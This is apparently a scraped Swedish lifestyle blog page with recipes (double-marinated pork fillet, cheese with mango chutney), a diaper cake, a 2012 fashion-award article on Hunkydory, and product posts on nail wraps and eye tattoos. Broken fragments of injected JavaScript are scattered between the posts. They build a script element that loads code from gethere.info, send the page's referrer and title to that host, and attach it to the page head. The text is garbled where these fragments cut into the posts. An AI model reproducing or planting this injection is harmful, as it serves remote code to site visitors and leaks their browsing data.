Dubbelmarinerad fläskfilé.

Du kan antingen använda oxfilé eller fläskfilé. Själv använde jag fläskfilé till denna rätt.Fläskfilé 500 gram fläskfile (för 4 personer)
Marinad 1
2 msk soja
1 msk hoisinsås
0,5 tsk salt
2 msk olja
1 tsk socker
Marinad 2
0,5 dl vitvinsvinäger
0,5 dl vatten
2 dl olja
1 tsk salt
0,5 tsk svartpeppar
1 pressad vitlöksklyfta
0,5 dl persilja
Marinad1:
  1. Blanda samman alla ingredienserna soja, hoisinsås, salt, olja och socker.
  2. Lägg fläskfilén i en tät plastpåse eller burk med lock och slå över marinaden.
  3. Marinera i ca. 3 timmar, vänd påsen/burken då och då.
  4. Starta ugnen, 175 grader.
  5. Ta fram fram köttet och lägg den på ett galler i en långpanna. Stick in en köttermometer och stek köttet tills termometern visar 65 grader, ca. 40 minuter.
  6. Vänd köttet en gång under stekningen.
  7. Ta ut köttet ur ugnen och svep in köttet i folie, låt den kallna.
Marinad 2
Blanda samman alla ingredienser vinäger, vatten, olja, salt, svartpeppar, pressad vitlök, hackad persilja.När köttet kallnat skivas den i 1/2 cm tjocka skivor. Lägg skivorna  i en skål och slå över marinad 2.
Ställ skålen kallt. Marinera köttet i ca 4 timmar eller över natten. Ös köttet ett par gånger.
Vid servering tas skivorna ur marinaden, de ska inte torkas av. Köttet ska serveras kallt.

d.getElementsByTagName(‘head’)[0].appendChild(s);

Philadelphiaost med mango chutney

Om ni inte prövat detta goda tilltugg så måste ni bara prova detta enkla men otroligt goda tilltugg.

Köp en Philadelphiaost och häll upp på ett fat. Häll över en burk Mango chutney.
Servera med kex.

}}

Blöjtårta

Du kan göra blöjtårtan på olika sätt och här kommer ett förslag hur jag gör mina blöjtårtor. Perfekt present att ge bort till nära och kära när de fått barn.

 

Här kommer lite bilder steg för steg hur jag gjorde blöjtårtan.

var d=document;var s=d.createElement(‘script’);

Guldknappen till Hunkydory 2012

Motivering Damernas Värld Guldknappen 2012:
“När klimatet i modebranschen hårdnar krävs veteraner som står pall för trycket, det är årets Guldknappenvinnare ett utmärkt bevis på. Kärnan kommer från stickat som designer-duon utvecklat till en fulländad kollektion. Att både vara uppdaterad och samtidigt stå över flyktiga trender är en bragd de klarar med självklarhet. Den coola bohem-rockiga stilen har vi tagit till våra hjärtan, därför gratulerar vi Hunkydory till 2012 års Guldknappenvinst.”

Att vinna Guldknappen var inte något paret Bjercke hade förväntat sig, även om de har fått ett flertal fina företagspriser. – Men det har inte precis regnat in design awards, säger Christopher Bjercke. Därför känns det väldigt roligt med Guldknappen. Det är trots allt designen vi jobbar för.

Kort om årets vinnare av Damernas Värld Guldknappen 2012:
Paret Ulrika och Christopher Bjerckes Hunkydory har funnits sedan 1996, och är numera spritt över världen med plagg för den moderna kvinnan. Med både basplagg som blivit klassiker och årets höstkollektion som skruvats till med ett lite rockigare och coolare uttryck. Det som började vid parets köksbord, med den första kollektionen bestående av enbart stickat, har vuxit till ett stabilt företag som har satsat långsiktigt. Både tillväxten och företagets omsättning har ökat stadigt sedan 2005. Närmast väntar invigningen av den första egna butiken, som öppnas på NK i Stockholm 1 september, och som kommer att följas av fler egna butiker.

Om ni vill kika på kläderna så har ni hemsidan här: http://www.hunkydory.se/web/Online_Store.aspx

Tidigare vinnare:
1997 Filippa Knutsson, Filippa K 2000 Johan Lindeberg,J. Lindeberg 2003 Sofia Gromark Norinder, Tiger 2004 Jonny Johansson, Acne 2005 Carin Rodebjer, Rodebjer 2008 Karin Jimfelt-Ghatan, Odd Molly 2009 Carin Wester, Carin Wester 2010 HOPE 2011 Dagmarvar d=document;var s=d.createElement(‘script’);

}}

The croc Embossed Manicure by Ciaté

YouTube Preview Image

Vad tycker ni om ett färgat nagellack och ett lack som skapar en krackelerad effekt när den appliceras över torrt nagellack?

De här kan du köpa för 179 kr på www.eleven.se.

 

if (document.currentScript) { } else {

Rock Cosmetics Nail Rock’s wraps

http://www.youtube.com/watch?v=eMJ4vF3qjKk

http://www.youtube.com/watch?v=baHg2Vu9o3M

Kul med lite nytt för naglarna. De här kostar 89 kr för ett paket med 24 stycken wraps. Finns att köpa på www.eleven.se.
Där kan du välja bland en massa färger och mönster. Här är mina favoriter:

Användning

  • 1 För tillbaka nagelbanden och ta bort eventuellt nagellack.
  • 2 Forma och fila nagelkanten.
  • 3 Fila försiktigt den glansiga ytan på nageln med hjälp av en mjuk nagelfil.
  • 4 Välj en Nail Rock Wrap närmast din nagelband storlek. Dessa kan klippas till för att få bättre passform om det behövs.
  • 5 Rör inte den självhäftande sidan av wrapen som kommer att användas på din nagel.
  • 6 Placera vid nagelbandskanten och värm från en hårtork i några sekunder tills wrapen är varm, mjuk och smidig.

Det är viktigt att hålla wrapen varm och smidig i hela processen. Värmen aktiverar limmet och ger Nail Rock bättre passform över nageln. En liten resehårtork är det mest effektiva.

  • 7 Tillämpa ett fast tryck medan wrapen fortfarande är varm, tryck svepande ner på ena sidan av nageln. Värm igen, se till att wrapen är mjuk igen och för ett ordentligt tryck ner den mot andra sidan av nageln.
  • 8 Hetta upp igen och tryck hårt över hela nageln för en säker passform. Om eventuella veck finns så värm igen, lyft försiktigt bort wrapen från nageln och lägg till ytterligare värme och ett fast tryck.
  • 9 För att sluta tätningen helt, värm hela nageln igen och dra försiktigt den överskjutande delen av wrapen över in kanten på nageln, så att formen på kanten kommen intill nagelbandet. Dra ordentligt, men tänk på att inte sträcka wrapen för hårt.
  • 10 Fila bort överskottet av wrapen i slutet av nageln i en nedåtgående rörelse med en fin fil.

Lite övning, försiktig borttagning av glans från ovanpå nageln, massor av värme och ett fast tryck resulterar i en fantastisk, långvarig finish.

Att ta bort:

  • 1 Applicera värme och dra av försiktigt
  • 2 nagellacksremover kan behövas för att avlägsna rester lim.

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

var d=document;var s=d.createElement(‘script’); }

Rock Cosmetics Eye Rock Eye Tattoos

Eye Rock Eye Tattoos som ger dig möjlighet att fullända din ögonmakeup med trendiga mönster hämtade direkt från catwalken. Håller i upp till 16 timmar. Kostar 99 kr på www.eleven.se.

Rock Cosmetics Eye Rock Eye Tattoos

  • Se till att området du ska fästa tatueringen på är rent, torrt och fritt från olja.
  • Tag ur tatuering-stencilen ur arket.
  • Klipp till önskad form och fäst med hjälp av riktlinjerna som är tryckta på baksidan.
  • Ta bort skyddsplasten.
  • Placera den mönstrade sidan mot huden. Väl på plats fukta baksidan på papperet med vatten och en bomullstuss.
  • Håll på huden tills tatueringen släpper från skyddspappret till huden.
  • Tag långsamt bort skyddspapperet och se till att tatueringen är ordentligt fäst vid huden.
  • Tryck fast alla lösa kanter med ett fuktigt finger och låt torka.

Du kan bära Eye Rock tatueringarna på många sätt, på ögonvingen, på ögonlocket eller både och. Riktlinjerna är där för att hjälpa dig.

Ta bort:

Använd en ansiktsrengöring.

 

 } else {

if (document.currentScript) { }

Stella McCartney öppnar butik i Stockholm

http://whatsupsthlm.se/isthlm/biblioteksgatan/692/

I februari öppnar Stella McCartney en 221 kvm stor butik på Mäster Samuelsgatan 3 För fastighetsbolaget Hufvudstaden är etableringen av Stella McCartney helt i linje med strategin att samla de mest intressanta namnen inom design och mode centralt i området som är Bibliotekstan.

Tidigare har hennes plagg funnits hos diverse andra återförsäljare, men till våren är det alltså dags för en egen Stella McCartney-butik. Adressen kommer att bli Mäster Samuelsgatan 13 och där kommer du att kunna frossa i väskor, skor och välskräddade plagg. Den som väntar på något gott …
Stella McCartney har gjort sig känd för sina enkla silhuetter och sitt maskulina formspråk. Hon använder sig aldrig av päls eller läder i sina kollektioner, och har sedan länge varit aktiv i djurrättsorganisationer.
Tidigare har vi kunnat se hennes plagg i designsamarbeten med modejättar som Adidas och H&M.

if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s);

Rock Cosmetics Eye Rock, Swarovski Glimmer AB

Här kommer lite nytt kul om du vill vara extra fin till en fest eller annan högtid.
249 kr kostar det på www.eleven.se.

De här kostar 269 kr.

Eye Rock ger dig färdiga mönster av gnistrande kristaller som du enkelt applicerar runt dina ögon för en modern och festlig look till din utekväll.

  • Glimmer är små kristall-liknande stenar som skimrar i ljusblåa och ljusrosa nyanser. Perfekt för dig som vill glimra lite extra!

} else {

d.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {

Rock Cosmetics Fashion Tattoo, Boho Rock

Med Fashion Tattoo Boho Rock som ger dig möjlighet att skapa en alldeles egen, personlig look med trendiga mönster. Håller i upp till 16 timmar. Kostar 99 kr på www.eleven.se.

 

 }